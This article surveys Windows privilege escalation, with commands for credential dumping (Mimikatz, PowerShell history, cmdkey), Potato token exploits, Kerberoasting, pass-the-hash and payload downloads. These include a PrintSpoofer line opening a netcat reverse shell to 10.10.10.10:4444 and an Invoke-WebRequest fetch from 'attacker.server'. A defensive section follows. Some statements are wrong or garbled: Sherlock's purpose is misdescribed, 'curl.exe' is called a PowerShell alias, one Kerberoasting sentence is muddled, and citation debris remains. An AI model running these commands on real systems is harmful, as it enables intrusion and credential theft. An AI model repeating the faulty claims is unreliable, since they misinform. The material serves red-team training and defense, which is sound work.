Windows Privilege Escalation: In-Depth Techniques, Tools, and Defensive Insights

Table of Contents

Introduction

Privilege escalation in Windows refers to techniques that allow a user or process with limited permissions to gain higher privileges, potentially all the way to SYSTEM or domain administrator. It is a common goal for attackers after initial compromise, enabling access to sensitive data or control of systems. As one security guide notes, “privilege escalation is when a user with limited access to IT systems can increase the scope and scale of their access permissions” [1] . Understanding Windows privilege escalation is critical for red teamers and defenders alike. For attackers, these techniques unlock hidden resources; for defenders, they represent critical paths to monitor, mitigate, and harden. This article surveys the major categories of Windows privilege escalation – local, remote, and domain – and examines real-world scenarios, commands, tools, and defenses for each.

Local Privilege Escalation (LPE)

Local Privilege Escalation (LPE) occurs when an attacker already has a foothold on a Windows host as a non-administrative user and seeks to elevate to SYSTEM or administrator on that machine. Common LPE vectors exploit misconfigurations or weaknesses in services, permissions, and credential storage. For example, a SYSTEM service executable located in a directory with writable permissions can be replaced to spawn a SYSTEM shell [2] . Similarly, unquoted service paths can allow an attacker to plant a malicious executable that Windows will load instead, since Windows will search unquoted paths sequentially [3] . Weak registry permissions also allow an attacker to modify service configurations (e.g. the ImagePath) to execute their code [4] .

Another frequent LPE path is **stored credentials**. Attackers often find plaintext or easily decrypted passwords in configuration files, scripts, or Windows features. For instance, saved passwords in RDP

sessions, IIS `web.config`, or Windows **Credential Manager** can be harvested. One PowerShell-based tool, *SessionGopher*, can extract saved credentials from applications like PuTTY, WinSCP, and FileZilla, revealing usernames and passwords [5]. Similarly, the `cmdkey /list` command enumerates all stored credentials on a system [6]. Even Windows PowerShell history is stored in cleartext: an attacker can run `type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt` to recover typed commands, including passwords [7]. Attackers also search file and registry strings for obvious keywords (e.g. using `findstr /si password *.xml *.ini *.txt`) to find credentials in configuration files or scripts [8].

Another set of techniques targets **service permissions** and **insecure executables**. By design, some services run as Local System, but if their service binary or dependencies are writable by a normal user, they can be hijacked. Administrators should watch for services where **Built-in Users have Write or Full access (F) or (W))** on the service binary or directory [2] **9**. If such a service is found (for example the Update Orchestrator service on Windows 10, CVE-2019-1322), an attacker can stop the service (`sc stop UsoSvc`), change its ImagePath to a malicious payload (for example pointing to `nc.exe` for a reverse shell), and restart it [10]. The service then runs the attacker's code as SYSTEM. Tools like `accesschk` or built-in commands like `icacls` (`icacls <file>`) help identify overly-permissive files.

Other local tricks include DLL hijacking and startup folder attacks. Unpatched software or orphaned installers may allow DLL proxying (placing a malicious DLL in the same folder as a vulnerable executable) or abusing startup items. Weak folder permissions can allow an attacker to drop executables that the system will run at boot or user login.

Token impersonation is another LPE category. If the user has SeImpersonate or SeAssignPrimaryToken privileges, utilities such as **RottenPotato**, **JuicyPotato**, **RoguePotato**, and **PrintSpoofer** can exploit Windows DCOM or named pipes to spawn a SYSTEM process. For example, *JuicyPotato* abuses SeImpersonate by choosing a CLSID of a COM server and starting an elevated process:

```
JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -t * -c {CLSID} -a "/c
whoami"
```

Successful execution yields a SYSTEM shell [11]. Newer variants like **JuicyPotatoNG** and **GodPotato** extend these techniques to modern Windows versions. *GodPotato*, for instance, abuses flaws in the RPCSS DCOM service to escalate a low-privileged service account to SYSTEM on Windows 2012–2022 [12].

Overall, LPE tactics rely on finding a weakness in the local machine's configuration: insecure service settings, leftover credentials, or exploitable privileges. Attackers automate enumeration of these issues using scripts like PowerUp (PowerSploit) or Seatbelt, which check common misconfigurations and reveal potential local escalation paths.

Remote Privilege Escalation (RPE)

Remote Privilege Escalation refers to techniques that elevate privileges over the network or via remote services, enabling attackers to move laterally to higher-privilege accounts on the same or other machines. A classic RPE method is **Pass-the-Hash (PtH)**, where an attacker with a user's NTLM hash can authenticate to

other services as that user without knowing their password. Tools like Mimikatz or WCE can extract NTLM hashes from memory, then commands like `psexec –hashes <LM>:<NTLM> <target>` or Impacket's `wmiexec.py` can reuse the hash to execute commands on remote hosts.

Similarly, **Pass-the-Ticket (PtT)** uses stolen Kerberos tickets. If an attacker captures a user's valid Kerberos TGT or service ticket (for example via Mimikatz `sekurlsa::tickets`), they can authenticate to other hosts in the domain as that user without additional credentials.

Token impersonation exploits can also be used remotely. For example, if a service account's credentials are known (or bruteforced via remote attack), one could log in as that service user and then run local Potato-style exploits on that machine. The new *GodPotato* tool even allows privilege escalation remotely by abusing DCOM over the network. With appropriate network connectivity, running GodPotato on a compromised server can elevate an attacker's privileges to SYSTEM on that host.

Remote services and protocols also provide RPE paths. Unsecured RDP/SMB services may allow NTLM relay or credential forwarding attacks. An attacker who compromises a service account (for example via phishing) may use it to spread. Additionally, misconfigured service accounts (with weak or reused passwords) are at risk: *Service accounts often run high-privilege processes, so stealing their credentials can yield significant escalation* (e.g. compromising a machine account or a privileged domain user).

Though often overlapping with domain attacks, some RPE scenarios involve attacking the network-facing portions of Windows. For example, the PrintNightmare vulnerability (CVE-2021-34527) in the print spooler service allows a network attacker to execute code as SYSTEM if the printer service is reachable. Metasploit and other frameworks have modules to exploit such vulnerabilities for remote elevation to SYSTEM.

In summary, RPE techniques include credential replay (PtH, PtT), remote execution as privileged accounts (PsExec, WMI with stolen creds), exploitation of network services (RPC/SMB vulnerabilities like PrintNightmare, EternalBlue), and propagation via service accounts. Each relies on combining compromised credentials or remote flaws with tools to execute commands as those users.

Domain Privilege Escalation

In an Active Directory environment, privilege escalation techniques focus on domain accounts and tickets. A key attack is **Kerberoasting**: any domain user can request a service ticket (TGS) for a service principal name (SPN). The ticket contains the service account's password hash encrypted. By capturing the ticket (for example using Mimikatz or Rubeus) and cracking it offline, an attacker can recover the service account's password [13]. Once cracked, the service account often has high privileges (it may be a domain admin or server service user), enabling wider compromise.

Another AD-specific attack is **DCSync** (Domain Controller synchronization). If an attacker obtains sufficient privileges (usually Domain Admin or a privileged replication account), they can simulate the behavior of a domain controller by requesting user password hashes from AD (via DRSUAPI) without alerting normal auditing. Tools like Mimikatz can perform DCSync to extract NTLM hashes of any domain user directly from AD (especially the KRBTGT account for forging golden tickets)

Pass-the-Ticket in the domain context similarly lets an attacker reuse stolen Kerberos tickets for domain admin accounts to access other machines. Tools like Rubeus (PowerShell/C#) allow performing many Kerberos ticket operations (requesting, renewing, overpass-the-hash, golden tickets, etc). For example, *Rubeus kerberoast* can dump service tickets to crack, or *Rubeus asktgt* with an NTLM hash to get a TGT.

Silver and Golden Ticket attacks are forged Kerberos tickets. A Golden Ticket is a forged TGT (Ticket Granting Ticket) created with the KRBTGT account hash, granting any privileges in the domain. A Silver Ticket is a forged service ticket using the specific target service's hash. These forged tickets allow lateral movement and persistence with powerful domain access.

Lateral movement within the domain often combines these techniques: an attacker may first escalate a local host, then use harvested credentials or tickets to compromise the domain controller or AD-integrated services. For example, after cracking a Kerberoasted SPN, an attacker might use those credentials to request `Invoke-kerberoast` in PowerSploit or perform DCSync to pull more credentials.

Defenders note: Domain escalation is highly sensitive. Logging on domain controllers should capture Kerberos and LDAP events. Monitoring for unusual ticket requests, replication requests, or long-lived TGTs is critical. Enforcing the principle of least privilege on service accounts and regularly rotating keys (like KRBTGT) help mitigate these attacks.

Hands-On Instructions and Exploitation Steps

Attackers and defenders alike rely on command-line tools and scripts to execute and analyze privilege escalation. Below are some representative commands and steps. Comments explain their context:

- **System Enumeration (Initial):** Identify current user and system info.

```
whoami              # Show current user and group membership
whoami /priv        # List enabled privileges of the account
net user               # Show details for current user
    %username%
net localgroup Administrators   # Check if current user is in
                                    Admins
systeminfo          # OS version, patch level, etc.
```

These commands quickly reveal if the user already has admin rights or SeImpersonate privileges (needed for potato exploits). For example, `whoami /priv` will list SeImpersonate or SeDebug privileges if granted. These are basic reconnaissance (see [14]).

- **Service and Process Information:** Find running services and their permissions.

```
wmic service list full > services.txt

tasklist /v > processes.txt

icacls "C:\Windows\System32\spool\drivers\color" # check permissions on
target directory
```

```
cacls C:\service\path\to\binary.exe              # or icacls on a specific
file
```

If a service's executable or directory is writable by a normal user, it's vulnerable[29]. For example, after finding a suspicious service, use `icacls` to ensure that only SYSTEM/Administrators have write access.

- **Stored Credentials:** Extract saved credentials or tickets.

```
cmdkey /list                              # list saved Windows credentials
rundll32.exe keymgr.dll,KRShowKeyMgr  # GUI for Credential Manager
type %userprofile%
\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
# PowerShell history often contains passwords or commands.
```

As an example from a real scenario, an attacker might run the above `type` command and find a password in the PowerShell history (as seen in one TryHackMe writeup[15]). Similarly, tools like Mimikatz can extract Kerberos tickets or hashes:

```
Invoke-Mimikatz -Command '"sekurlsa::logonpasswords"'
```

This dumps cached credentials, including any plaintext or NTLM hashes in memory.

- **Credential Reuse:** Use harvested credentials to elevate.

```
net use \\TARGET_IP\ipc$ /user:DOMAIN\user1 Passw0rd123    # NTLM auth (PtH
scenario)
# Or use Impacket:
python wmiexec.py DOMAIN/Administrator@TARGET_IP -hashes [LM]:[NTLM]
psexec.exe -s -i cmd.exe                 # Try to get SYSTEM from current
administrator via PsExec
```

In network attacks, commands like `wmiexec.py` or `psexec` can execute remote shells using a user's credentials or hash. If a domain or local admin hash was obtained (via LPE or DCSync), these tools leapfrog to SYSTEM on another machine.

- **Token Impersonation (Potato):** If SeImpersonate is granted, run a token exploit.

```
# JuicyPotato example:
JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -t * -c
{F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4} -a "/c whoami"
```

This invokes a COM object (specified by CLSID) to spawn a SYSTEM command shell if successful [11] .

Another example is running PrintSpoofer:

```
PrintSpoofer64.exe -c "C:\Tools\nc64.exe 10.10.10.10 4444 -e cmd"
```

which abuses the Print Spooler service to execute code.

- **Kerberoasting with Rubeus:** On a domain, request service tickets for cracking.

```
Rubeus.exe kerberoast /stats
Rubeus.exe kerberoast /creduser:DOMAIN\JOHN /credpassword:MyP@ssW0RD /
outfile:hash.txt
```

These commands (from Rubeus) gather Kerberos TGS tickets for offline cracking [16] . After obtaining `hash.txt`, an attacker uses Hashcat or similar to recover the service account password.

- **File Download from CLI:** Often during exploitation, attackers need to fetch payloads. Windows supports several built-in download methods (see next section). For example, using PowerShell:

```
Invoke-WebRequest -OutFile payload.exe -Uri "http://attacker.server/
payload.exe"
# or using certutil:
certutil -urlcache -split -f "https://server/tools/payload.exe" payload.exe
```

These are representative steps – in practice attackers combine them as needed. Automation scripts (e.g. **PowerUp**, **SharpUp**, **Seatbelt**, **WinPEAS**, **PrivescCheck**) simplify this process, enumerating vulnerabilities and running common exploits, as mentioned in multiple sources [17] [11] .

Command-Line File Downloading

When elevating privileges or setting up post-exploitation, attackers often need to download binaries or scripts to a Windows host. Several built-in tools allow command-line downloading:

- **BITSAdmin (Deprecated):** A legacy Windows tool. Example usage:

```
bitsadmin /transfer myDownloadJob /download /priority normal http://
download.server/tool.exe C:\temp\tool.exe
```

This creates a Background Intelligent Transfer Service job to download the file [18]. *Note:* BITSAdmin is deprecated in newer Windows, replaced by PowerShell BITS cmdlets.

- **PowerShell (`Invoke-WebRequest`):** Modern Windows has PowerShell which can download file

```
Invoke-WebRequest -Uri "https://example.com/file.exe" -OutFile "C:
  \temp\file.exe"
  iwr -Uri https://example.com/file.exe -OutFile file.exe
```

This is often the simplest method on up-to-date systems [19]. It supports HTTPS and authentication if needed. An alias `curl.exe` in PowerShell also calls `Invoke-WebRequest` under the hood.

- **curl.exe (Windows 10+):** Recent Windows 10/11 include `curl.exe`. Usage:

```
curl.exe -o payload.bin https://server/payload.bin
curl.exe --url https://server/payload.bin --output payload.bin
```

This behaves like Unix curl, retrieving the URL to a file [20]. (Older systems can download a standalone curl binary from curl.haxx.se).

- **Certutil:** A Windows certificate utility that can fetch files:

```
certutil -urlcache -split -f "https://download.sysinternals.com/files/
PSTools.zip" pstools.zip
```

Despite its name, `certutil` can download any file and is present on Windows Vista and later [21].

It uses URL caching under the hood.

- **BITS PowerShell Cmdlets:** On newer systems, PowerShell provides BITS cmdlets (e.g. `Start-BitsTransfer`) to download files robustly.

- **Third-party tools:** Attackers may also upload a small PowerShell or VBScript downloader on the fly, for example using `cscript`:

```
cscript /nologo wget.js "http://server/payload.exe"
```

(A JS script using `WinHttpRequest` can serve as wget.)

By using these commands in code blocks, one can explain and document each step of an exploitation workflow for readers or training. Each command above should be accompanied by context (as provided) to clarify why and how it is used in privilege escalation scenarios.

Tools Catalog (2025)

Below are notable Windows privilege escalation tools (with raw GitHub links). These are widely used by red teamers to enumerate and exploit Windows systems:

- **WinPEAS** – Privilege Escalation Awesome Script (PEASS-ng)【PEASS】
- **PrivescCheck** – Privilege escalation checker: https://github.com/itm4n/PrivescCheck
- **Seatbelt** – C# OS reconnaissance tool: https://github.com/GhostPack/Seatbelt
- **SharpUp** – C# Windows PrivEsc checks: https://github.com/GhostPack/SharpUp
- **PowerUp (PowerSploit)** – PowerShell priv esc checks: https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
- **JuicyPotatoNG** – Updated token impersonation exploit: https://github.com/antonioCoco/JuicyPotatoNG
- **GodPotato** – DCOM/Printer bug exploit for modern Windows: https://github.com/BeichenDream/GodPotato
- **RoguePotato** – Older token impersonation exploit: https://github.com/antonioCoco/RoguePotato
- **PrintSpoofer** – Print spooler privilege esc: https://github.com/itm4n/PrintSpoofer
- **AccessChk** – List account rights on resources (Microsoft Sysinternals): https://learn.microsoft.com/sysinternals/downloads/accesschk
- **Mimikatz** – Credential extraction and ticket manipulation: https://github.com/gentilkiwi/mimikatz
- **BloodHound** – AD attack path enumeration: https://github.com/BloodHoundAD/BloodHound
- **Sherlock** – Checks AD for vulnerable settings: https://github.com/rasta-mouse/Sherlock
- **PingCastle** – AD assessment tool: https://github.com/vletoux/pingcastle
- **Metasploit** (various modules) – Many Windows and AD exploits (e.g. service permissions, PrintNightmare).
- **Windows Exploit Suggester – Next Generation (WES-NG)** – Suggests exploits for detected patches (Deliena mentioned, image [22]).

Each tool specializes in different areas, from local misconfiguration checks (WinPEAS, SharpUp) to active exploitation (JuicyPotatoNG, GodPotato) or AD attacks (BloodHound, Rubeus). The hyperlinks above go to the raw tool pages for direct reference.

Defensive Insights

To combat Windows privilege escalation, defenders must harden systems, minimize credentials, and enhance monitoring. Key measures include:

- **Least Privilege:** Remove unnecessary local admin rights. Ensure that users run as standard accounts whenever possible. This prevents trivial escalation via overprivileged users [23] .
- **Secure Credentials:** Encourage or enforce usage of enterprise **password vaults** or Privileged Access Management (PAM) tools. This avoids plaintext or easily found passwords in files, scripts, or the registry [24] . Rotate service account passwords frequently and use unique strong passwords.
- **Multi-Factor Authentication (MFA):** Require MFA for sensitive actions. Even if an attacker obtains a password, MFA can block misuse [25] .

- **Patch Management:** Regularly update Windows and applications to close known escalation vulnerabilities (e.g. PrintNightmare, UAC bypass bugs) [26] . Keep servers, workstations, and devices current on Windows patches to shrink the window of exploitability.

- **Application Control/Whitelisting:** Limit which binaries and scripts can execute. Use AppLocker or similar to block unapproved executables (including commonly abused tools like `nc.exe` or `bitsadmin`). Attack scripts often rely on downloading or running certain utilities; tightly controlling these reduces risk [27] .

- **Auditing and Logging:** Enable detailed logging for service and process changes. Windows Event Logs should capture service creation/configuration, task scheduling, and use of privileged APIs (like SeDebug privileges). Monitor logs for anomalous events (e.g. new scheduled tasks, unexpected services installs, or Mimikatz execution signs). As Delinea advises, “monitor privilege usage for abuse and suspicious activity” and set alerts to detect escalation attempts [28] . For instance, log and alert on Event ID 4698 (scheduled task creation) or 4697 (service installation).

By applying the Principle of Least Privilege, removing stale credentials, enforcing strong authentication, and actively logging for abuse patterns, defenders can greatly reduce the chance an attacker will successfully escalate. The Delinea blog emphasizes that we cannot guarantee prevention, but we can **make escalation paths noisy and harder**, providing early warning [29] . Frequent reviews of permissions (for files, services, and registry keys) and using intrusion detection (e.g. Sysmon) to catch known exploit behaviors (like tokens being duplicated) also help in detection and response.

Conclusion

Mastering Windows privilege escalation techniques is essential for both offense and defense. For red teamers and penetration testers, understanding how to enumerate systems and apply LPE, RPE, and domain exploits enables efficient compromise of targets. For defenders and incident responders, knowing these methods highlights where to strengthen controls and monitoring. Tools like WinPEAS or SharpUp automate finding local misconfigurations, while frameworks like BloodHound and Rubeus expose AD weaknesses. However, true security comes from eliminating the root causes: minimizing credentials on endpoints, applying least privilege, timely patching, and vigilant logging.

By combining deep technical knowledge of Windows internals (services, ACLs, Kerberos) with up-to-date tools and defense strategies, practitioners can stay ahead of attackers seeking SYSTEM or domain dominance. In offensive terms, mastery of privilege escalation unlocks the full potential of a foothold; in defensive terms, it is the difference between a quick anomaly detection and a silent breach. Continual learning and adaptation on both sides of the fight are necessary as new Windows features and vulnerabilities emerge beyond 2025. In the end, understanding both the “how” and the “how to stop it” of Windows privilege escalation is crucial for securing modern enterprise environments.

References

- Delinea, “Windows Privilege Escalation (With Examples)” (2025) [1] [24].
- Delinea, “Privilege Escalation Techniques” (examples 1-5) [30] [31].
- Delinea, “Top tips to make privilege escalation difficult” [24] [27].
- FuzzySecurity, *Windows Privilege Escalation Fundamentals* (2015) [14].
- SwisskyRepo/InternalAllTheThings, *Windows - Privilege Escalation* (2025) [2] [9] [11].
- SwisskyRepo/InternalAllTheThings, *Kerberoasting in AD* (2025) [13] [16].
- Pentest Reports, “GodPotato” (definition) [12].
- Super User Q&A, “How to download files from command line in Windows” [18] [19].
- Microsoft, *AccessChk* (Sysinternals) – https://learn.microsoft.com/sysinternals/downloads/accesschk.
- GitHub – frizb/Windows-Privilege-Escalation (code examples) [14].
- GitHub – BeichenDream/GodPotato (v1.20) and releases.
- GitHub – AntonioCoco/JuicyPotatoNG.
- GitHub – iamkumarraj/GodPotato (Medium blog).
- SwisskyRepo/InternalAllTheThings *Active Directory* sections (Kerberoasting, etc.) [13].
- Additional tool repositories (Raw links as cited in Tools Catalog above).

---

[1] [3] [4] [8] [22] [23] [24] [25] [26] [27] [28] [29] [30] [31] Privilege Escalation on Windows (With Examples)
https://delinea.com/blog/windows-privilege-escalation

[2] [5] [6] [7] [9] [##] [11] Windows - Privilege Escalation - Internal All The Things
https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/

[12] godpotato command
https://pentestreports.com/command/godpotato

[13] [16] Roasting - Kerberoasting - Internal All The Things
https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad-roasting-kerberoasting/

[14] [17] GitHub - frizb/Windows-Privilege-Escalation: Windows Privilege Escalation Techniques and Scripts
https://github.com/frizb/Windows-Privilege-Escalation

[15] Windows Privilege Escalation | TryHackMe | by James Jarvis | Medium
https://medium.com/@jamesjarviscyber/windows-privilege-escalation-tryhackme-96e9f8eaeb27

[18] [19] [20] [21] How to download files from command line in Windows like wget or curl - Super User
https://superuser.com/questions/25538/how-to-download-files-from-command-line-in-windows-like-wget-or-cur